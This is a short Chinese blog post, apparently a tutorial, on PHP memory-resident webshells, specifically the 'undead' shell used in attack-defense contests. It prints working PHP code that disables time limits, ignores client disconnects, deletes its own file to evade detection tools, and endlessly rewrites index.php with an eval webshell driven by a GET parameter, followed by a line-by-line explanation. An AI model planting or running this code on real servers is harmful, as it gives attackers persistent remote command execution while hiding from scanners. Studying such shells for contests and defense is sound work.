PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
魔力女仆9 小时前
分享一个 JS 鼠标跟随贪吃蛇背景库
开发语言·javascript·计算机外设
2401_8949155310 小时前
GEO 搜索优化完整源码从零部署:环境配置、集群搭建全流程
开发语言·python·tcp/ip·算法·unity
麻瓜老宋10 小时前
AI开发C语言应用按步走,表达式计算器calc的第二十二步,分号赋值链式修复、TOKEN_ASSIGN
c语言·开发语言·atomcode
solo_9911 小时前
用 LSPosed 模拟录屏音频编码器卡顿:从思路到落地
android
zzq779711 小时前
别把大模型 API Key 写进 APK:移动 AI 应用接口防盗刷实践
android·人工智能·安全·app加固·御盾安全·安卓加固
颜x小12 小时前
[C#] C++与c#语法对比
开发语言·c++·c#
weixin_4236521312 小时前
C#使用JObject
开发语言·c#
国科安芯12 小时前
FreeRTOS RISC-V 浮点上下文切换移植:在 IAR 工程中完整保存 FPU 寄存器
java·开发语言·单片机·嵌入式硬件·算法·系统架构·risc-v
xiaopang13 小时前
RK3568 AOSP 编译与快速部署实战
android
weixin_BYSJ198713 小时前
springboot校园自习室管理小程序---附源码32142
java·javascript·spring boot·python·django·flask·php